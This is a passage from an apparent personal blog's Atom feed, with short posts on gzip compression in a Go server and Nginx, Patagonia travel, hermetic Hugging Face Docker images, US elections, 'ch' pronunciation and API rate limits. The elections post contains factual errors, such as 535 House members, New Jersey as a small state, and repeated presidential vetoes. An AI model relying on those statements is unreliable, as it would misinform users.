<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># This will produce plain-text output</span>
</span></span><span style="display:flex;"><span>$ curl localhost:8080/ping
</span></span><span style="display:flex;"><span><span style="color:#586e75"># This will produce compressed binary output</span>
</span></span><span style="display:flex;"><span>$ curl -H <span style="color:#2aa198">&#39;Accept-encoding: gzip&#39;</span> localhost:8080/ping -o /dev/stdout
</span></span><span style="display:flex;"><span><span style="color:#586e75"># The compressed binary output can be decoded via the following</span>
</span></span><span style="display:flex;"><span>$ curl -H <span style="color:#2aa198">&#39;Accept-encoding: gzip&#39;</span> localhost:8080/ping | gunzip -</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Note: if you are using Ngnix, you can enable this by adding the following to your Nginx   
    
    
<a href="https://docs.nginx.com/nginx/admin-guide/web-server/compression/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">config file</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Ngnix
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>http {
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>  server {
</span></span><span style="display:flex;"><span>    ...
</span></span><span style="display:flex;"><span>    gzip on;
</span></span><span style="display:flex;"><span>    gzip_min_length 1000;
</span></span><span style="display:flex;"><span>    ...
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">A day in El Calafate - Patagonia, Argentina</title><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in El Chaltén - trekking capital of Argentina"/><link href="https://ashishb.net/travel/ushuaia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to traveling in Ushuaia Argentina"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><id>https://ashishb.net/travel/el-calafate-patagonia-argentina/</id><author><name>Ashish Bhatia</name></author><published>2024-03-02T17:00:57+00:00</published><updated>2024-03-02T17:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover El Calafate: the gateway to Patagonia and the majestic Perito Moreno Glacier. Explore stunning landscapes before heading to vibrant El Chaltén.</blockquote><p>El Calafate is the gateway to Argentina&rsquo;s Patagonia region.
However, there isn&rsquo;t much to do in this city as such beyond the Perito Moreno Glacier.
If you are flying into El Calafate, then I would recommend first going to El Chaltén.
And then spend your last day in El Calafate before flying out from the airport that&rsquo;s less than 20 minutes away by taxi.</p>
<p>I took an 11500 AEP guided bus tour to Perito Moreno Glacier that included a pick-up and drop-off back to my hotel.
Alternatively, one can take a bus from the bus terminal for 8500 AEP. Apart from that one has to pay 5500 AEP for glacier entry.
There is an option to do a 1-hour boat tour of the glacier for 8000 AEP.
And for 70,000 AEP, one can hike on the glacier.
However, I had done that earlier in 
<a href="/travel/alaska/">Alaska</a>, so, I decided to skip that.</p>
<figure>
    
    <a href="el-calafate-perito-moreno-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-calafate-perito-moreno-1-1024x768.jpg"
         alt="A detailed glacier landscape is set against a clear blue sky. Ice blocks form jagged ridges and deep crevasses. Majestic scenery evokes awe and serenity." width="900"/> </a>
</figure>

<figure>
    
    <a href="el-calafate-perito-moreno-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-calafate-perito-moreno-2-1024x768.jpg"
         alt="Jagged ice blocks form ridges and crevasses in a majestic landscape, evoking awe and serenity" width="900"/> </a>
</figure>

<p>El Calafate is a weird city. It lacks the warmth of small cities like 
<a href="/travel/el-chalten-argentina/">El Chaltén</a>
and 
<a href="/travel/ushuaia-argentina/">Ushuaia</a>.
However, it lacks the planned big city feel of 
<a href="/travel/buenos-aires-argentina/">Buenos Aires</a> as well.
I would not recommend spending too much time here.
El Calafate is about a 20-hour bus journey from Ushuaia and a 40-hour bus journey from Buenos Aires.
There are direct 3-hour flights to those cities as well. My recommendation would be to fly.</p>
<h3 id="note">Note</h3>
<ol>
<li>1 USD = 466 AEP (Blue dollar rate) at the time of this travel.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/argentina" term="argentina" label="argentina"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Hermetic docker images with Hugging Face machine learning models</title><link href="https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><id>https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/</id><author><name>Ashish Bhatia</name></author><published>2024-02-29T08:17:01+00:00</published><updated>2024-02-29T08:17:01+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to make your Docker images hermetic by disabling Hugging Face&rsquo;s on-the-fly model downloads. Ensure stability in your deployments with this guide.</blockquote><p>Hugging Face is GitHub for machine learning models.
Their on-the-fly model download scheme, however, is difficult from a DevOps perspective.</p>
<p>Here&rsquo;s how to disable it.</p>
<p>One huge problem with downloading models on the fly is that at best, your docker images are no longer hermetic.
At worst, your deployments start to fail when Hugging Face goes down, just like it went down yesterday for multiple hours.</p>
<p>Here&rsquo;s a how to make your docker images hermetic.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># During the docker build trigger download of models e.g. via embedding computation</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Now, disable only access completely</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">TRANSFORMERS_OFFLINE</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">HF_HUB_DISABLE_TELEMETRY</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">HF_HUB_OFFLINE</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> ...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Do verify by running these images on the CI before deployment as it might fail in case you forgot to download certain models.
Now, the huge advantage of this process is that your deployed binaries are hermetic.
They no longer depend on Hugging Face being up or returning a different/newer model anymore.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/></entry><entry><title type="html">American Elections</title><link href="https://ashishb.net/politics/american-elections/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/mobs-are-status-games/?utm_source=atom_feed" rel="related" type="text/html" title="Mobs are Status Games"/><link href="https://ashishb.net/politics/green-card-limbo/?utm_source=atom_feed" rel="related" type="text/html" title="The unanchored babies of the green card limbo"/><link href="https://ashishb.net/politics/rohtak-riots/?utm_source=atom_feed" rel="related" type="text/html" title="Rohtak Riots"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><id>https://ashishb.net/politics/american-elections/</id><author><name>Ashish Bhatia</name></author><published>2024-02-25T17:00:09+00:00</published><updated>2024-02-25T17:00:09+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how the U.S. voting system works, from the Electoral College to Congress. Explore swing states, Senate representation, and the power dynamics in American democracy.</blockquote><p>The United States has a federal system of government.</p>
<p>The more interesting aspect is how Americans vote thrice for the federal government.</p>
<p>First, Americans, via the electoral college, vote for the president.</p>
<p>Each state, in proportion to its population, has the electoral votes.</p>
<p>And those electoral votes are awarded to the presidential candidate getting the popular votes in that state.</p>
<p>This is mostly true except some states do it in their quirky ways.</p>
<p>Now, some states are majority Democrats like California.</p>
<p>And some are majority Republican like Texas.</p>
<p>In such cases, the votes practically don&rsquo;t matter.</p>
<p>Then, there are swing states like Florida and Ohio.</p>
<p>These are the states whose electoral votes determine the outcome.</p>
<p>Usually, the winner of the electoral vote is the winner of the popular vote as well.</p>
<p>Second, Americans vote for their senators. A senate is equivalent to the &ldquo;Upper House&rdquo; in other democracies.</p>
<p>50 states. Each state gets two senators. Both senators are supposed to represent the interests of the state.</p>
<p>This ensures over-representation for small states like New Jersey and Delaware over more populous states like Texas and California.</p>
<p>Third, Americans vote for their Congressmen/Congresswomen. Congress is similar to the &ldquo;Lower House&rdquo; in other democracies.</p>
<p>There are 535 of them.</p>
<p>The Congressmen are supposed to represent the interests of their Congressional district.</p>
<p>This ensures that sparsely populated districts are well represented.</p>
<p>In some democracies like India and Israel, the power of the president is limited. And the real power is in the hand of the Prime Minister.</p>
<p>That&rsquo;s not the case in the US.</p>
<p>The president of the United States is a Defense Minister and a Foreign Minister combined.</p>
<p>And then the President has legislative powers too.</p>
<p>He can veto a bill multiple times.</p>
<p>And then it requires a super-majority of legislators to pass.</p>
<p>In some democracies like Israel or India, the President can veto a bill only once.</p>
<p>Further, it is entirely possible for the President, the winner of the electoral vote to be from one party.</p>
<p>And Senate as well as Congress majority to be from another party.</p>
<p>Such a situation can lead to gridlock.</p>
<p>In some ways, this gridlock is a feature of American democracy.</p>
<p>This ensures more legislation at the state level than at the federal level.</p>
<p>For example, one state might have more lax gun laws.</p>
<p>Another might have more lax abortion laws.</p>
<p>There is way more power in the hands of the state and municipal government in the United States than in other democracies.</p>
<p>Speaking of parties, there are only two dominant ones.</p>
<p>Democrat and Republican.</p>
<p>Interestingly, they internally follow a system of elections too!</p>
<p>But that&rsquo;s a post for another day!</p>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/></entry><entry><title type="html">The sound of "ch"</title><link href="https://ashishb.net/linguistics/sound-of-ch/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><link href="https://ashishb.net/linguistics/avagraha-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Mac shortcut for typing Avagraha symbol"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="related" type="text/html" title="Musings of transliteration: Tharman Shanmugaratnam's name"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><id>https://ashishb.net/linguistics/sound-of-ch/</id><author><name>Ashish Bhatia</name></author><published>2024-02-18T17:00:46+00:00</published><updated>2024-02-18T17:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>There are at least three different ways &ldquo;ch&rdquo; gets pronounced in English words and that tells you the origin of those words.</blockquote><p>There are at least three different ways &ldquo;ch&rdquo; gets pronounced in English words and that tells you the origin of those words.</p>
<ol>
<li>Latin-origin words used <code>ch</code> for <code>tʃ/च</code> sound. For example, &ldquo;champion&rdquo; or &ldquo;channel&rdquo;.</li>
<li>French-origin words used <code>ch</code> for <code>ʃ/श</code> sound. For example, &ldquo;machine&rdquo; or &ldquo;champagne&rdquo;.</li>
<li>German-origin words used <code>ch</code> for <code>x/ख़</code> sound. For example, Erlich &ldquo;Bachman&rdquo; from the Silicon Valley show.</li>
<li>Greek-origin words use <code>ch</code> for <code>k/क</code> sound. For example, &ldquo;Christopher&rdquo; or &ldquo;character&rdquo;.</li>
</ol>
<p>Update: the last one was pointed by a man named Christopher in comments!</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">API services should always have usage Limits</title><link href="https://ashishb.net/programming/api-services-should-always-have-usage-limits/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/repair-database-on-mobile-device/?utm_source=atom_feed" rel="related" type="text/html" title="Repairing database on the fly for millions of users"/><link href="https://ashishb.net/programming/google-cloud/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Google Cloud"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/api-services-should-always-have-usage-limits/</id><author><name>Ashish Bhatia</name></author><published>2024-02-11T17:00:29+00:00</published><updated>2024-02-11T17:00:29+00:00</updated><content type="html"><![CDATA[<blockquote>Learn why setting API usage limits is crucial for your service&rsquo;s security and performance. Discover factors and benchmark limits to implement today.</blockquote><p>Every public-facing API service should have API usage limits. If this seems overkill then ask yourself if would it be OK if a single IP sends a million requests a second.
This does not apply just to publicly documented services but even to undocumented services that are publicly accessible.</p>
<p>The usage limits can be based on multiple factors</p>
<ol>
<li>IP address</li>
<li>API key - if applicable</li>
<li>Browser user-agent or lack of it</li>
</ol>
<p>What should the limits be?</p>
<p>Just use   
    
    
<a href="https://developers.google.com/analytics/devguides/reporting/mcf/v3/limits-quotas?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google API limits</a> as a starting number.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Hiking in El Chaltén - trekking capital of Argentina</title><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><link href="https://ashishb.net/travel/ushuaia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to traveling in Ushuaia Argentina"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><id>https://ashishb.net/travel/el-chalten-argentina/</id><author><name>Ashish Bhatia</name></author><published>2024-02-05T00:00:12+00:00</published><updated>2024-02-05T00:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Explore El Chaltén in just three days! Discover the breathtaking beauty of Patagonia with these hiking itineraries, featuring lakes, glaciers, and stunning vistas.</blockquote><p>El Chaltén, a small town in Patagonia, Argentina is a hiking heaven. There are three major hiking paths in El Chaltén, and all of them are easily accessible from the town. One is located in the south, the other two are in the north-west and north-east side of the town, respectively. Here&rsquo;s my recommendation on how to do all those hikes in three days.</p>
<h3 id="day-1---tower-lake-laguna-torre">Day 1 - Tower Lake (Laguna Torre)</h3>
<p>Start the day with a 20-km round-trip hike to Laguna Torre. If you plan it well, you can even take a walk on the Glacier at the end. The hike is pretty well-marked, and it is hard to miss the trail. It took me about 2-1/2 hours to reach the lake. And a further 30 more mins to reach the final viewpoint, Mirador Maestri. It takes about 6 hours to finish the hike.</p>
<figure>
    
    <a href="el-chalten-laguna-torre-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-torre-1-1024x768.jpg"
         alt="A mountain range with snow-capped peaks serves as a backdrop to a glacier-fed lake, surrounded by rugged terrain" width="905"/> </a>
</figure>

<figure>
    
    <a href="el-chalten-laguna-torre-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-torre-2-768x1024.jpg"
         alt="A scenic view of Laguna Torre with floating glacier pieces surrounded by rugged mountains" width="900"/> </a>
</figure>

<p>I would recommend carrying a towel to take a dip in the lake with the pieces of Glacier floating around.</p>
<figure>
    
    <a href="el-chalten-laguna-torre-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-torre-3-768x1024.jpg"
         alt="A serene lake with floating glacier pieces, surrounded by mountainous terrain, ideal for dipping" width="900"/> </a>
</figure>

<h3 id="day-2---laguna-de-los-tresfitz-roy-hike-and-chorrillo-del-salto-waterfall">Day 2 - Laguna De Los Tres/Fitz Roy Hike and Chorrillo Del Salto Waterfall</h3>
<p>Start the 22-km round trip hike for Laguna De Los Tres early in the morning. The hike is well marked except for the last 1 km where there is a 40% incline to climb to get a view of the lake. Check out the small Laguna Capri on the way.</p>
<figure>
    
    <a href="el-chalten-laguna-de-los-tres-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-de-los-tres-1-1024x768.jpg"
         alt="A mountain trail with a steep 40% incline offers a scenic view of a lake, including Laguna Capri along the route." width="905"/> </a>
</figure>

<figure>
    
    <a href="el-chalten-laguna-de-los-tres-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-de-los-tres-2-768x1024.jpg"
         alt="A mountainous landscape features a serene lake surrounded by rugged terrain, with a walking trail leading to Laguna Sucia, a popular hiking destination." width="900"/> </a>
</figure>

<p>It takes about 3-1/2 hours to reach the final point of this hike, Laguna Sucia.</p>
<figure>
    
    <a href="el-chalten-laguna-sucia-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-laguna-sucia-1-1024x768.jpg"
         alt="A scenic hiking trail leads to Laguna Sucia after approximately 3.5 hours. A detour can be taken to visit Lago Madre." width="905"/> </a>
</figure>

<p>While returning, take a small detour on the right to hit Lago Madre (Mother Lagoon) as well. It is nothing majestic but worth visiting.</p>
<figure>
    
    <a href="el-chalten-fitz-roy-peak-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-fitz-roy-peak-1024x768.jpg"
         alt="A towering peak under a clear blue sky, surrounded by lush green forests and rocky terrain, part of a scenic hiking landscape." width="905"/> </a>
</figure>

<p>And if you return in time, you can continue on the hike to Chorillo Del Salto waterfall. It is a very small hike and you can reach the waterfalls in about 40 mins of a flat hike.</p>
<figure>
    
    <a href="el-chalten-chorillo-del-salto-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-chorillo-del-salto-768x1024.jpg"
         alt="A cascading waterfall surrounded by lush greenery, with a hiking path leading to it, accessible after a 40-minute flat hike." width="900"/> </a>
</figure>

<h3 id="day-3---pliegue-tumbado--mirador-los-condores">Day 3 - Pliegue Tumbado &amp; Mirador Los Condores</h3>
<p>Pligue Tumbado is a 20-km round-trip hike to the viewpoint of Pliegue Tumbado Lake. My day of hike coincided with the first day of the snow season. It took me about 2 hours and 45 mins to reach the final viewpoint. The return hike, all downwards, is easier and can be done in less than 2 hours. This trail is a bit less well-marked compared to Laguna Torre and Laguna De Los Tres.</p>
<figure>
    
    <a href="el-chalten-pliegue-tumbado-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-pliegue-tumbado-1-1024x768.jpg"
         alt="A picturesque mountain range under a clear blue sky serves as a backdrop to a trail, surrounded by rocky terrain and scattered vegetation." width="905"/> </a>
</figure>

<figure>
    
    <a href="el-chalten-pliegue-tumbado-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-pliegue-tumbado-2-1024x768.jpg"
         alt="El Chaltén&#39;s Pliegue Tumbado region" width="905"/> </a>
</figure>

<figure>
    
    <a href="el-chalten-pliegue-tumbado-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-pliegue-tumbado-3-1024x768.jpg"
         alt="A scenic mountain landscape features rugged peaks under a blue sky, with trails leading to a vantage point known as Mirador De Las Aguillas (Eagle viewpoint)." width="905"/> </a>
</figure>

<p>Now, on returning, continue onto the next small hike of Mirador De Las Aguillas (Eagle viewpoint). It takes about 30 mins one way.</p>
<figure>
    
    <a href="el-chalten-mirados-de-los-aguilas-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-mirados-de-los-aguilas-1024x768.jpg"
